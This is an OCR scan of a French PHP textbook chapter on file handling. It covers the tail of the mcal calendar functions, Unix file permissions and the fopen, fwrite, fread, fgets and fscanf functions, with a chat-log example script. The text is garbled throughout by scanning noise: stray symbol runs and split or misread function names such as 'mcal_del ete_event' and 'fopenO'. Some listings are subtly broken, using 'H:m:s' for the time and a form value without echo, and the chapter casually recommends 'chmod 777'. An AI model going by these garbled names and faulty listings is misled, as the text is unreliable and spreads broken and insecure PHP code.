qui lui est associee par un appel a la fonction mcal_snooze ( ) . 



mcal_snooze() 

Supprime 1'alarme associee a un evenement. 



Syntaxe boolean mcal_snooze(resource $idConnexion, int $idEvenement) 

$idConnexion Identifiant de connexion tel que retourne par mcal_open ( ) . 

$i dEvenement Identifiant de l'evenement. 

retour TRUE. 

La bibliotheque propose une fonction qui est censee retourner la liste des evenements ayant 
une alarme programmed a la date donnee. Mais il est difficile d'en tirer quelque chose. En voici 
tout de meme la syntaxe (corrigee par rapport a celle proposee par la documentation PHP) : 

array mcal_list_alarms ( resource $idConnexion [ , int $annee [, int $mois [, 
int $jour [, int $heure [, int $minutes [, int $secondes] ]]]]]) 

Et, bien evidemment, il est possible de supprimer un evenement de l'agenda par un appel a 

mcal_delete_event ( ) . 



mcal_delete_event () 



CO 
CD 

CO J2 

■a eu 

cd -a 

■a c= 

= °> 

o cs 

oj aj 
=>-o 
cu — 
I cu 



Supprime un evenement. 
Syntaxe 



$idConnexion 
$i dEvenement 
retour 

Divers 



boolean mcal_del ete_event (resource $idConnexion, resource 
$i dEvenement) 

Identifiant de connexion tel que retourne par mcal_open ( ) . 
Identifiant de l'evenement a supprimer. 
TRUE (meme si l'evenement n'existe pas). 



La bibliotheque mcal presente des fonctions destinees a la manipulation des agendas (dans leur 

ensemble). II s'agit des fonctions mcal_create_calendar ( ) , mcal_rename_calendar ( ) , 

mcai_deiete_caiendar ( ) , mais celles-ci ne semblent pas avoir ete veritablement 
implementees et se contentent de retourner true. 
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La gestion des 
fichiers et des 
repertoires 



9-1 

9-2 
9-3 



Le systeme de fichiers POSIX 

Acceder au systeme de fichiers du serveur 
Les streams ou les flux 
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Le systeme de fichiers POSIX 



La manipulation et le traitement des donnees necessitent, voire imposent, de pouvoir 
stocker celles-ci une fois le travail et les differentes operations effectues. Meme si, souvent, 
l'utilisation d'une base de donnees est plus efficace, le stockage sur le disque reste une solution 
simple a mettre en oeuvre, et parfois meme la seule solution pertinente. Dans ce chapitre, nous 
allons voir comment le langage PHP peut permettre de lister, lire et ecrire des fichiers. 

Tout au long de ce chapitre, nous allons mettre en place differentes fonctions qui nous 
permettront, au final, de developper un explorateur de fichiers simple et sympa (attention 
toutefois : il n'est pas a laisser entre toutes les mains). 

Dans une deuxieme partie, nous allons voir comment il est possible d'acceder au systeme de 
fichier, reseau, socket a l'aide d'une methode introduite avec PHP 4.3 et disponible egalement 
sur PHP 5 : Les streams ou flux. 



9.1. Le systeme de fichiers POSIX 

Meme si vous etes un adepte des produits Microsoft, il est probable que votre application sera 
hebergee sur une plateforme de type UNIX/Linux. C'est en effet le systeme d'exploitation 
adopte par la majorite des hebergeurs - qu'ils soient ou non gratuits. Nous vous offrons done, 
ici, un petit cours de rattrapage en faisant un point sur les specificites du systeme de fichiers de 
ces systemes d'exploitation (ceci est valable pour tous les systemes de fichiers a la norme 
POSIX que sont Linux et tous les UNIX modernes). 

Meme si, petit a petit, Windows tente (peniblement) de rattraper son retard en termes de 
securite, avec UNIX/Linux, les droits des utilisateurs ne sont deja pas un vain mot. Ainsi, 
l'utilisateur devra necessairement s'identifier pour se connecter au systeme, ce qui constitue la 
base de la securite de la machine. 

UNIX etant, des son origine, un systeme multi-utilisateur, il a ete conc,u de sorte que les fichiers 
ne soient accessibles qu'a certains utilisateurs et certains groupes d'utilisateurs. Seul 
l'administrateur, appele le plus souvent "root", possede tous les droits sur tous les fichiers du 
systeme (s'il existait des virus dans un environnement UNIX/Linux, il faudrait encore qu'ils 
accedent au compte "root" pour causer des dommages irreparables ; de meme, un utilisateur 
protegeant ses fichiers vis-a-vis des autres utilisateurs ne pourrait etre contamine). 

Chaque utilisateur peut appartenir a un ou plusieurs groupes que Ton definira librement (ex. : 
groupe des chercheurs, des invites, des utilisateurs du service web, etc). Chaque fichier est la 
propriete d'un utilisateur et d'un groupe d'utilisateurs. 

Ainsi, si vous listez le contenu d'un repertoire d'un systeme UNIX/Linux (si vous faites appel 
aux services d'un hebergeur, vous pouvez, par exemple, vous connecter sous votre compte FTP, 
et taper la commande is), vous observerez une serie de lignes ayant Failure suivante : 

-rwxr-wr — 1 laurent user 985540 Mai 4 09:16 Monfichier 

Chaque ligne est associee a un fichier ou un repertoire dont le nom est precise dans la derniere 
colonne (ici : Monfichier). 

On ne rigole pas avec la casse... 

UNIX respecte la casse. Faites done bien attention au respect des majuscules et 
minuscules des noms de fichiers et repertoires. Vous pouvez tres bien avoir un fichier 
nomme toto.txt qui coexiste, dans le meme repertoire, avec un fichier toto. TXT. 



A 

ATTENTION 
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Les troisieme et quatrieme colonnes nous indiquent que le proprietaire du fichier est 
"laurent" et que le groupe auquel appartient le fichier est "user". 

Mais attention, ce n'est pas parce que le fichier appartient a "laurent" et au groupe "user" que 
Laurent et les membres du groupe "user" ont tous les droits, ni non plus que tous les autres 
utilisateurs n'ont aucun droit sur ce fichier. 

Les permissions sont definies ici par les proprietes -rwxrw-r- qu'il faut decomposer en un 
caractere suivi de trois blocs de trois caracteres. Nous reviendrons plus tard sur ce premier 
caractere. Le premier bloc de trois caracteres precise les droits de l'utilisateur, le bloc suivant 
ceux des membres du groupe et enfin le dernier bloc de trois caracteres indique les droits des 
autres utilisateurs. 

Chaque bloc se decompose ainsi : 

1. Un premier caractere pouvant prendre la valeur "r" pour indiquer que le fichier est 
accessible en lecture (pour l'utilisateur, les membres du groupe ou les autres, selon les cas) 
ou "-" sinon. Dans le cas d'un repertoire, ceci indique que Ton peut lister le contenu du 
repertoire. 

2. Un second caractere pouvant prendre la valeur "w" pour indiquer que le fichier est 
accessible en ecriture (pour l'utilisateur, les membres du groupe ou les autres, selon les 
cas), ce qui inclut la possibility d'effacer le fichier ou "-" sinon. Dans le cas d'un repertoire, 
ceci indique que Ton peut modifier les fichiers contenus dans le repertoire (a condition que 
les droits individuels des fichiers le permettent). 

3. Un troisieme caractere pouvant prendre la valeur "x" pour indiquer que le fichier peut etre 
execute (par l'utilisateur, les membres du groupe ou les autres, selon les cas) a condition, 
toutefois, que ce soit un "executable" ou "-" sinon. Dans le cas d'un repertoire, ceci indique 
que Ton peut se deplacer dans le repertoire. 

Dans notre exemple, nous pouvons done dire que le fichier est accessible en lecture, ecriture et 
execution pour l'utilisateur. Le groupe possede les permissions en lecture et ecriture, mais ne 
peut pas executer le fichier. Enfin, les autres utilisateurs ne sont autorises qu'a la lecture. 

Les droits ne sont generalement pas specifies sous forme alphabetique, mais sous la forme d'un 
nombre exprime en octal (base 8) et compose de trois chiffres (precedes d'un pour indiquer 
a PHP qu'il s'agit d'un nombre en octal et non en decimal). Chaque chiffre represente les droits 
d'une categorie (proprietaire, groupe et autres). Pour chaque categorie, il faut faire la somme 
des valeurs de chaque droit en considerant que r=4, w=2 et x=l. 

Imaginons, pour prendre un exemple, un fichier possedant les droits rwx pour l'utilisateur, r-x 
pour le groupe et r — pour toutes les autres personnes. 



Tableau 9.1 : Les droits en octal donnent pour le cas present : 0754 





Proprietaire 


Groupe 


Autres 


Read(r) = 4 


Oui 


Oui 


Oui 


Write (w) = 2 


Oui 


Non 


Non 


Execute (x) = 1 


Oui 


Oui 


Non 


Total 


4+2+1=7 


4+0+1=5 


4+0+0=4 



Retenez bien cette legon, nous nous en resservirons un peu plus tard. 



Le systeme de fichiers POSIX 



Revenons maintenant au premier caractere de la chaine indiquant les droits du fichier. II 
precise le type du "fichier". Ici, "-" indique que c'est un fichier classique, mais cela aurait pu etre 
un repertoire represente par la lettre "d", un peripherique defini par "b" ou "c", ou un encore un 
lien symbolique associe a la lettre "1". 

Vous savez tous ce qu'est un fichier ou un repertoire (meme si certains ont reussi a imposer leur 
terminologie et parlent de dossier). Afin de ne pas nous etendre davantage sur les specificites 
Linux/UNIX, nous ne parlerons pas des peripheriques. Mais, afin de mieux comprendre 
certaines fonctions proposees par PHP, il est bon de vous presenter ce qu'est un lien. 

Sous Linux/UNIX, il est possible de creer un "fichier" (une entree dans un repertoire) qui sera en 
fait un lien, dit lien symbolique, vers un "vrai" fichier. Sous Windows, vous connaissez un ersatz du 
lien symbolique appele "raccourci". Double-cliquer sur un raccourci Windows revient a 
double-cliquer sur le fichier pointe. En revanche, si vous souhaitez acceder au contenu du 
raccourci, vous n'accederez qu'a un fichier descripteur et non au contenu du fichier pointe. Sous 
Linux/UNIX, que vous accediez au lien symbolique ou directement au fichier, le resultat est le 
meme. 

II existe une variante du lien symbolique appele lien physique, mais la nuance est subtile. Alors 
que le lien symbolique est un renvoi vers le fichier, le lien physique est une copie du descripteur 
de fichier. De ce fait, contrairement au lien physique, si vous supprimez le fichier "original", le 
lien symbolique n'est plus valide. 

Dans les lignes retournees par la commande is (via FTP ou is -1 en acces direct sur le 
systeme), le chiffre suivant correspond au nombre de liens physiques vers le fichier. Dans notre 
exemple, 1 signifie que le fichier ne possede aucun lien mis a part lui-meme. 

Le nombre qui suit le groupe d'appartenance du fichier est le poids (la taille) en octets. Ensuite, 
on retrouve la date de la derniere modification du fichier. 



Point et point-point sont dans un repertoire... 

~ Pour chaque repertoire vous noterez deux fichiers portant des noms particuliers : il 

REMARQJE s'agit de "." et ". .". Point est, en fait, une representation du repertoire courant, et 
point-point une representation du repertoire superieur. C'est un point ;-) a connaitre 
lorsque vous souhaitez en lister le contenu. 



Les fichiers textes, les fichiers binaires 

Les fichiers peuvent etre ranges en deux categories : les fichiers textes et les fichiers binaires. 
Dans le premier cas, ce sont des fichiers qui ne contiennent que des lignes de texte ; ce peut etre 
un document quelconque, un listing de programme ou des donnees textes. Le fichier binaire est 
destine a contenir des donnees brutes qui ne peuvent pas etre sectionnees en lignes. Ce sont, en 
regie generale, des fichiers de type image ou des donnees complexes comme des fichiers de 
traitement de texte ou de tableur. 

Sous un systeme de type UNIX, la difference entre les fichiers textes et binaires concerne les 
traitements de fin de fichier et de fin de lignes. Alors qu'un fichier texte est separe en lignes 
terminees par un "\n" et que la fin du fichier est identified par un "\ o", la fin d'un fichier de type 
binaire est donnee par le systeme d'exploitation lui-meme. C'est sa taille en octets qui indique 
que le fichier a ete entierement lu et, done, que le pointeur de lecture est arrive a la fin du 
fichier. II est, de ce fait, inutile de specifier le mode binaire dans vos fonctions d'ouverture de 
fichier. 
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UNIX, conforme a la norme POSIX, ne fait aucune difference entre un fichier binaire et un 
fichier texte. 

En revanche, lorsque vous manipulez un fichier avec Windows, il est necessaire de preciser si 
le fichier a ouvrir est de type texte ou binaire. Par defaut, il sera considere comme etant de 
type texte. 

Fins de lignes 

Attention egalement aux fins de lignes sous Windows. Toutes les lignes sont separees par le 
couple de caracteres '\r\n', qui indique de passer a la ligne suivante. Lorsque vous passez un 
fichier d'un systeme a un autre, n'hesitez pas a effectuer une conversion du fichier texte a l'aide 
de la commande UNIX dos2unix ou depuis votre editeur s'il en possede l'option (c'est le cas 
d'uitraEdit par exemple). Ce detail, qui peut paraitre insignifiant, peut se reveler source de 
problemes dans bien des cas. 



9.2. Acceder ail systeme de fichiers du serveur 
Lire et ecrire le contenu d'un fichier 

La methodologie pour traiter un fichier est la suivante : 
Ouverture du fichier ; 

Operation sur le fichier (lecture, ecriture, lecture et ecriture) ; 
■ Fermeture du fichier. 

Ouvrir et fermer un fichier 

L'ouverture d'un fichier se fait a l'aide de l'instruction f open ( ) . L'instruction retourne un 
descripteur de fichier qui servira par la suite lors des operations d'entree et de sortie. II est 
necessaire de donner a la fonction le mode d'ouverture (lecture, ecriture, lecture et ecriture, 
etc.) du fichier. Notez que cette fonction permet aussi d'ouvrir des "fichiers" distants en 
donnant une URL a la place du chemin du fichier. Notez que vous ne pouvez pas utiliser les 
ouvertures de fichiers a distance si vous avez compile PHP avec l'option 
--disabie-uri-fopen-wrapper pour PHP 4.0.3, ou initialise le parametre 
aiiow_uri_f open a off dans le fichier php.ini pour les versions superieures de PHP. 



fopen() 

Ouverture d'un fichier ou d'une URL. 

Syntaxe resource fopen(string $nomFi chi er, string $mode [, int 

$chemi nlncl ude [, resource $contexte]]) 
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$nomFi chi er Chemin du fichier, URL (HTTP ou FTP) du fichier ou encore 

entree/sortie standard. 

$mode Definit le mode d'ouverture du fichier : 

"r" pour la lecture seule (le fichier doit exister). 

"r+" pour une lecture et une ecriture (le fichier doit exister). 

"w" pour une ecriture avec ecrasement des donnees. 

"w+" pour un mode en lecture et ecriture avec ecrasement des donnees (si 

le fichier n'existe pas, il sera cree). 

"a" pour l'ouverture en ajout de donnees. 

"a+" pour l'ouverture du fichier en mode lecture et ecriture par ajout (si le 
fichier n'existe pas, il sera cree). 

Sous Windows, vous pouvez accoler l'un des arguments suivants : 
"t" (valeur par defaut) signalant que le fichier est un fichier texte. 
"b" qui designe un fichier binaire. 

$chemi nlncl ude TRUE si le fichier doit etre recherche dans les repertoires precises dans 
include_path., FALSE sinon. La valeur par defaut est FALSE. 

$contexte Parametre optionnel, utilisable depuis les versions 4.3 de PHP, specifiant 

la ressource de contexte creee par stream_context_create ( ) a 
utiliser. Voir le sous-chapitre sur les flux pour plus de renseignements sur 
les contextes de flux. 

retour Retourne un pointeur sur le fichier, ou FALSE en cas d'erreur. 



REMARQUE 



include _path 

La variable include _path est definie dans le php.ini et specifie a PHP une liste de 
dossiers ou les fonctions comme include () ou required vont chercher les 
fichiers. 



Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur le 
fichier php.ini. 

Le nom du fichier peut etre indique sous differentes formes : 

Un chemin de fichier ; f open ( ) tentera alors d'acceder a ce fichier dans le mode demande. 

Une URL du style http://www.toto.com et, dans ce cas, une connexion HTTP est ouverte sur 
le serveur. L'identifiant retourne pointe sur le document. Notez que vous ne pouvez ouvrir 
ces fichiers qu'en lecture seule. Vous pouvez egalement acceder a des fichiers sur un serveur 
demandant une autorisation d'acces. Pour cela, vous devez passer, dans l'URL, l'identifiant 
de l'utilisateur ainsi que son mot de passe de la fagon suivante : 
http://utilisateur:motdepasse@domaine.com. 

Une adresse FTP. Une connexion FTP est creee avec le serveur. Vous pouvez ouvrir les 
fichiers en lecture ou en ecriture. Les doubles modes lecture et ecriture (mode full duplex) 
ne sont pas supportes. Pour l'authentification, utilisez la syntaxe identique a une 
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authentication HTTP : ftp://utilisateur:motdepasse@ftp.domaine.com. Notez que le serveur 
distant doit supporter le mode passif ; dans le cas contraire la connexion ne pourra 
s'effectuer. 

Une entree/sortie standard du style php://. Ce peut-etre php://stdin pour l'entree 
standard, php : / /stdout pour la sortie standard ou php : / / stderr pour la sortie d'erreur. 

Les actions a effectuer sur le fichier sont a definir des son ouverture. C'est le mode du fichier 
qui indique a la fonction f open ( ) pour quelle operation le fichier est ouvert. 

<?php 

$fp = fopen("/home/laurent/data.txt", "a"); 

// Ouverture du fichier data.txt en ajout de donnees 

$fp = fopen ("http://www. 1 inux.org/" , "r"); 

// Ouverture de 1 1 URL distante http://www.linux.org 

$fp = fopen ("http://uti 1 i sateur:motdepasse@local host/" , "r"); 

// Ouverture d'une URL demandant une authentication 

$fp = fopen("ftp://utilisateur:motdepasse@ftp. tuxfamily.org/", "w"); 

// Ouverture d'une connexion FTP avec 1 ' uti 1 i sateur et le mot de passe definie 

?> 

La partie du nom de fichier du genre http : / /, ftp : //, php : / / fait reference a un gestionnaire 
de flux (les streams). II en existe d'autres. Nous verrons en particulier celui charge de la gestion 
des fichiers compresses et nous verrons egalement qu'il est possible de definir ses propres 
gestionnaires. 



, v " Pour plus (['informations, reportez-vous plus loin au chapitre « Les steams ou les flux » 



Droits de propriete... 

N'oubliez pas qu'UNIX gere les droits de lecture et d'ecriture. Si vous utilisez FTP 
pour uploader un fichier sous votre compte utilisateur (avec les droits qui lui sont 
propres), le serveur HTTP n'aura pas forcement les permissions poury acceder (en 
lecture ou en ecriture). Vous devrez alors modifier les droits via votre acces FTP et la 
commande chmod Par exemple, pour donner tous les droits : 

chmod 777 monfichier 



RENVOI 




REMARQUE 



A Le chemin des fichiers sous Windows 

Sous Windows, le caractere habituellement utilise pour separer les noms des 
ATTENTION repertoires est I'anti-slash ; assurez-vous bien de doubler ces anti-slashes. 

<?php 

$fp = fopen("c:\\Repl\\Rep2\\data.txt", "a"); 

?> 
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Fichiers HTTP 

Pour les fichiers accedes via HTTP, l'en-tete retourne par le serveur ne fait pas partie des 
donnees accessibles a l'aide de I'identifiant de fichier. II est toutefois possible d'y acceder via la 
variable globale $http_response_header (attention, cette variable est bien en minuscules et 
non en majuscules). Celle-ci contient alors un tableau indexe ou chaque entree est une ligne de 
l'en-tete. 

A partir de PHP 4.3, vous devez utiliser la fonction f ile_get_wrapper_data ( ) () pour 
recuperer cette information. 



file_get_wrapper_data () 

Retourne l'en-tete HTTP d'un fichier ouvert (a partir de PHP 4.3). 

Syntaxe array f i 1 e_get_wrapper_data (resource $fp) 

$f p Pointeur du fichier tel que retourne par f open ( ) . 

retour Tableau indexe ou chaque entree est une ligne de l'en-tete. 

Fichiers temporaires 

En supposant que vous ayez plusieurs fichiers a manipuler a la fois, il est probable que vous 
soyez amene a utiliser des fichiers temporaires. Vous pouvez bien entendu creer ces fichiers 
avec la fonction f open ( ) et les supprimer une fois que la manipulation a ete effectuee avec 
l'instruction unlink ( ) , mais le langage PHP possede une fonction adequate pour gerer ces 
fichiers. La commande tmpfileO ouvre un fichier sous un nom unique et retourne un 
pointeur. Le fichier est automatiquement detruit lorsque la ressource est liberee avec 
l'instruction f close ( ) . 



tmpfileO 

Creer un fichier temporaire en mode ecriture seule et retourne un identifiant unique 
permettant d'ecrire dans ce fichier. 

Syntaxe resource tmpfile(void) 

retour Retourne un pointeur de fichier. 

<?php 

$fpT = tmpfileO; 

// Traitements divers 

fclose($fpT); 

?> 
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Fermeture des fichiers 

eo La fermeture des fichiers ainsi ouverts se fait a l'aide de la fonction f close ( ) . La fonction a 

■o c3 M pour objectif de liberer les ressources utilisees. Attention, si vous oubliez de fermer vos fichiers, 

o .!= vous risquez de perdre des donnees. 

Iff f> "C 
bib £ 



fcloseQ 



Ferme un fichier prealablement ouvert. 

Syntaxe boolean fcl ose(resource $fp) 

$fp Pointeur du fichier tel que retourne par fopen(), tmpfileO ou 

f sockopen ( ) . 

retour TRUE en cas de reussite, FALSE sinon. 

Si le pointeur de fichier n'est pas valide, la fonction renvoie une erreur. 
<?php 

$fp = fopen( "monfichier.txt", "a"); 
// Traitements divers 
if (fclose($fp)) { 

echo "Le fichier monfichier.txt a ete correctement ferme !"; 
} else { 

echo "Le fichier monfichier.txt n'a pas ete ferme !"; 

} 

?> 



RENVOI 



y f sockopen ( ) est une fonction d'ouverture d'une socket de connexion. Rendez-vous 
dans le chapitre "La gestion des protocoles" pour plus d "informations sur le sujet. 



Ecrire dans un fichier 

Pour ecrire dans un fichier, vous disposez de la fonction f write ( ) . 



fwrite() 

Ecriture d'une chaine de caracteres dans un fichier. 

Syntaxe int fwrite (resource $fp, string $chaine [, int $longueur]) 

$fp Identifiant de fichier tel que retourne par fopenO, popen ( ) , 

tmpf ile ( ) ou f sockopen ( ) . 

$ c h a i n e Chaine de caracteres a ecrire dans le fichier. 
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$1 ongueur Parametre optionnel indiquant combien de caracteres doivent etre ecrits. 

S'il est omis, la chaine complete est ecrite dans le fichier. 

retour Nombre de caracteres qui ont ete ecrits dans le fichier. En cas d'erreur, 

l'instruction retourne FALSE. 

La fonction fwrite() dispose d'un alias appele fputs ( ) . Les deux fonctions sont done 
utilisees de la meme facon. 

Ecriture binaire 

Notez bien que la fonction f write ( ) n'excepte qu'une chaine de caracteres comme 
parametre. Si vous souhaitez ecrire des donnees binaires, vous devrez convertir au 
prealable la valeurde chaque octet en son equivalent ASCII. 
Ainsi, f write ($fp, 255) ; stockera la chaine de caracteres "255" et non un octet 
ay ant la valeur 255 (comme on pourrait s'y attendre). 

Pour ajouter au fichier I'octet ayant la valeur 255, il faut utiliser I'appel suivant : 
fwrite($fp, chr(255));. 

Les quelques fonctions vues jusque-la nous permettent d'ecrire un petit programme qui 
pourrait constituer la base d'un systeme de discussion. 

En effet, ce script ecrit, dans un fichier texte, des messages envoyes a l'aide d'un formulaire 
HTML. Le fichier resultant possede une ligne par message et contient la date du message, le 
pseudo de 1'utilisateur, et le message lui-meme, les elements etant separes par une tabulation. 
Nous pourrons done, par la suite, afficher la liste des derniers messages qui ont ete ecrits dans 
le fichier texte. 

Listing 9.1 : fwrite.php 

<?php 

// Verifie que les donnees sont bien postees 
if ($_P0ST ["message"] && $_POST["pseudo"] ) 

{ 

// Ouverture du fichier en ecriture (mode ajout) 
$fp = fopen("message.txt", "a+"); 
// Recuperation de l'heure 
$heure = date( 1 H:m: s ' ) ; 

// Ecriture de l'heure et d'une tabulation 

fwrite($fp, $heure. "\t") ; 

// Ecriture du pseudo et d'une tabulation 

/* 

On utilise l'instruction html Entities afin de 
convertir les caracteres speciaux dans leur version 
HTML 

7 

fwrite($fp, htmlEntities($_POST["pseudo"]) ."\t"); 
// Ecriture du message 

fwrite($fp, htmlEntities($_POST["message"] ) ."\n") ; 
// On ferme le fichier. 
fcl ose($fp) ; 



A 

ATTENTION 
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?> 




<html> 

<ti tl e>Ecri re des messages dans un fichier</title> 

</head> 

<body> 

<table border="0" width="100%"> 



<tr> 



<form method="post"> 



<td width="600"> 



pseudo: 

<input type="text" name="pseudo" 

value="<?php html Entities($_GET["pseudo"] ) ; ?>" 
size="20" maxl ength="20"> 



message: 

<input type="text" name="message" size="40" maxl ength="255"> 
<input type="submit" name="envoyer" VALUE=">> "> 

</td> 
</form> 

<td> </td> 

</tr> 
</body> 
</html> 

Le fichier resultant presente alors cette forme : 

15:07:48<tat»Laurent<tab>C'est bon, je suis enfin en vacances ! 
15:07:50<tab>Daniien<tab>Non mais tu rêves. . . tu as un chapitre à 
x rendre ! 

15:07:49<tab>Pem<tab>Hi hi hi... :) 

15:07:48<tab>Laurent<tab>Groupf . . . Je vais devoir y passer la nuit là ! 
15:07:49<tab>Thomas<tab>Tu devrais faire comme moi . 
15:07:00<tab>Thomas<tab>Des jours que je ne dors plus ! 
15:07:10<tab>Thomas<tab>Mon secret ? La café ine ! 

II est temps de passer a la lecture du contenu d'un fichier. 

Lire des informations dans un fichier 

La lecture des donnees contenues dans un fichier peut se faire octet par octet, bloc de N octets 
par bloc de N octets, ligne par ligne ou encore d'un bloc. 

Ceci est assure par les differentes fonctions que sont f read ( ) , f gets ( ) , f getss ( ) , f getc ( ) et 
deux instructions particulieres que sont file ( ) et readf ile ( ) . 

Lecture octet par octet 

Tout comme le langage C, PHP possede la fonction f getc ( ) qui retourne le caractere se 
trouvant a la position courante du pointeur de fichier. Notez qu'en langage C ce n'est pas le 
caractere qui est retourne, mais son code ASCII. 
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fgetc() 

Retourne le caractere se trouvant a la position courante du pointeur de lecture. 
Syntaxe string fgetc (resource $fp) 

$fp Identifiant de fichier tel que retourne par fopen(), popen ( ) ou 

f sockopen ( ) . 

retour Le caractere se trouvant a la position courante, ou FALSE si c'est la fin du 

fichier. 

Lecture N octets par N octets 

f read ( ) a pour objectif de lire des donnees dans un fichier, la lecture se faisant paquet d'octets 
par paquet d'octets (ce qui est habituellement utilise pour les fichiers binaires ou pour ceux 
formates sur la base de chaines de caracteres de longueur constante). 

fread() 

Lecture des donnees contenues dans un fichier. 



Syntaxe string f read (resource $fp, int $nbOctet) 

$fp Identifiant de fichier tel que retourne par fopen(), popen ( ) ou 

f sockopen ( ) . 

$nbOctet Nombre d'octets qui doivent etre lus. 

retour Chaine contenant les donnees lues, ou FALSE si c'est la fin du fichier. 



Pour lire le contenu du fichier precedemment genere, nous pourrions done envisager d'ecrire le 
script suivant : 

Listing 9.2 : fread.php 

<?php 

// Reprenons notre fichier message.txt. 

$fp = fopen("message.txt","r") ; 

// Lecture du fichier jusqu'a la fin de celui-ci. 

while ($lecture = fread($fp, 70)) 

{ 

// Affichage des 70 caracteres lus puis 
// retour a la ligne. 
echo $lecture. "<br />"; 

} 

fclose($fp) ; 

?> 
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Ce qui donnerait : 

22:06:38 Laurent C'est bon, je suis enfin en vacances ! 22:07:10 Damie 
n Non mais tu reves... tu as un chapitre a rendre ! 22:07 
:26 Pem Hi hi hi... :) 22:08:01 Laurent Groupf... Je vais devoir y pas 
ser la nuit la ! 22:08:30 Thomas Tu devrais faire comme moi . 22 
:08:30 Thomas Des jours que je ne dors plus ! 22:08:39 Thomas Mon seer 
et ? La cafeine ! 

Certes, tout le contenu y est (en HTML, les tabulations apparaissent comme une simple 
espace). Mais pour la mise en forme... ce n'est pas 5a ! En fait, plutot que de lire le fichier 70 
caracteres par 70 caracteres, il aurait ete preferable de le lire ligne par ligne. Mais f read ( ) ne 
tient pas compte des retours a la ligne. Nous vous rassurons tout de suite, nous allons trouver 
une solution ! 



REMARQUE 



Lire en une fois 

II est possible de lire un fichier texte en une seule fois simplement en passant en 
argument de taille la taille du fichier texte. Vous devrez alors utiliser Vinstruction 
fileSize ( ) qui nous retourne la taille du fichier en octets (cette fonction est decrite 
plus loin dans ce chapitre). 

<?php 

// Ouverture du fichier message.txt. 
$fp = fopen("message.txt","r") ; 

// Recuperation de la taille du fichier en octets. 

$taille = fileSize("message.txt") ; 

// Lecture de la totalite du fichier. 

$lecture = fread($fp, $tai lie); 

// Affichage du fichier. 

echo $lecture; 

fclose($fp); 

?> 



Lecture ligne par ligne 

Comme vous 1'attendiez, vous pouvez egalement lire le fichier ligne par ligne. La fonction 
f gets ( ) permet de retourner la ligne courante (ou se trouve le pointeur). La lecture de la ligne 
se termine lorsque le caractere retour chariot '\n' est trouve, lorsque le nombre de caracteres 
maximum est lu, ou lorsque la fin du fichier a ete detectee. 



fgets() 



Lecture de la ligne courante du fichier. 

Syntaxe string fgets (resource $fp, int $nb0ctet) 
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$fp 



Identifiant de fichier tel que retourne par fopen(), popen ( ) ou 
f sockopen ( ) . 

Nombre d'octets qui doivent etre lus. 

Chaine contenant les donnees lues de la ligne courante, ou FALSE si le 
pointeur est en fin de fichier. 



$nbOctet 



to 



La lecture du fichier peut alors se faire comme suit : 



retour 




Listing 9.3 : fgets.php 

<?php 

// Ouverture du fichier 

$fp = fopen("message.txt" , "r") ; 

// Lecture de chaques ligne 

// jusqu'a la fin du fichier 

while ($lecture = fgets ($fp,255) ) 

{ 

// Affichage de la ligne 
echo $lecture; 
echo "<br />"; 

} 

// Fermeture du fichier 
fclose($fp); 

?> 

Dans ce cas, le resultat obtenu est bien celui escompte. 

Lire un fichier ligne par ligne permet eventuellement de manipuler ces lignes avant de les 
afficher. 



Des fichiers formates 

Un fichier est, le plus souvent, cense contenir une serie de donnees selon un format particulier 
choisi par le developpeur. Cela peut etre une serie de valeurs separees par des tabulations 
comme pour notre exemple du systeme de discussion. 

Si le format du fichier a ete bien pense, alors son analyse, et done la recuperation des donnees 
qu'il contient, se trouve grandement simplified par l'utilisation de l'instruction f scanf ( ) . Cette 
fonction lit les caracteres en provenance d'un fichier que vous aurez prealablement ouvert, et 
les traitent en fonction d'un schema que vous aurez specifie. 



fscanfQ 



Recupere les donnees d'une ligne d'un fichier en fonction d'un format specifie. 



Syntaxe 



mixed fscanf (resource $fp, string $format [, string 
&$variablel [, ...]]) 
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$f p Identifiant sur un fichier ouvert a 1'aide de l'instruction f open ( ) . 

$f ormat Format de la chaine de caracteres et des donnees a recuperer. 

$variablel, ... Variables dans lesquelles les valeurs seront copiees. 
retour Selonlescas: 

Le nombre de donnees qui ont ete lues si des variables ont ete passees en 
parametre. 

Un tableau indexe contenant les differentes valeurs si les parametres ont 
ete omis. 

Lorsque le pointeur de lecture arrive a la fin du fichier, la fonction 
retourne FALSE. 




Le format de la chaine est identique au format qu'utilise la fonction sscanf (). 
Rendez-vous au chapitre "La manipulation des chaines de caracteres" pour plus de 

RFN Vfl I 

details sur les formats. 



Ainsi, il est aise de recuperer nos donnees depuis le fichier messages.txt et d'afficher les 
differents messages, ainsi que la date et le pseudo de l'utilisateur ayant poste ce message. 
Ensuite, il ne reste plus qu'a afficher cela dans une page HTML. 

Listing 9.4 : fscanf.php 

<?php 

// fichier "fwrite.php" 

// Ecrire des messages dans un fichier texte 

// Verifie que les donnees sont bien postees 
if($_POST["message"] && $_POST["pseudo"] ) 

{ 

// Ouverture du fichier en ecriture 
$fp = fopen("message.txt", "a+"); 
// Recuperation de l'heure 
$heure = date( 1 H:m: s 1 ) ; 
// Ecriture de 1 1 heure 
fwrite($fp, $heure. "\t") ; 
// Ecriture du pseudo 
/* 

On utilise l'instruction html Entities afin de 
convertir les caracteres speciaux dans leur entite 
HTML 

7 

fwrite($fp, html Entities($_POST ["pseudo"] ) ."\t"); 
// Ecriture du message 

fwrite($fp, htmlEntities($_POST["message"]) ."\n") ; 
// On ferme le fichier. 
fclose($fp) ; 

} 

?> 
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<html> 

<title>Ecrire des messages dans un fichier</title> ^ p 

</head> - |^ 

<body> -a 5" to 

<table border="0" width="100%"> — « ™ 

<? ph p 3 a 5 

// Affiche les messages " n> q. 

$fp = fopen("message.txt","r") ; S> 
while($donnee = fscanf($fp, "%s\t". 

"%s\t". 

"%[ A \t]\n", 

$heure, $pseudo, $message)) 

{ 

echo "<tr>"; 

echo " <tdxfont color= '#0000ff '>" ; 

echo $heure; 

echo " </fontx/td>" ; 

echo " <tdxb>"; 

echo $pseudo; 

echo " </bx/td>"; 

echo " <td>"; 

echo $message; 

echo " </td>"; 

echo "</tr>"; 

} 

fclose($fp); 

?> 

</tabl e> 
<hr /> 

<table border="0" width="100%"> 
<tr> 

<form method="post"> 
<td width="600"> 
pseudo: 

<input type="text" name="pseudo" 

value="<?php html Entities ($_POST["pseudo"] ) ;?>" 

size="20" maxlength="20"> 
message: 

<input type="text" name="message" size="40" maxl ength="255"> 
<input type="submit" name="envoyer" VALUE=">> "> 

</td> 
</form> 

<td> </td> 

</tr> 
</body> 
</html> 



REMARQUE 



Les espaces qui ne passent pas- 
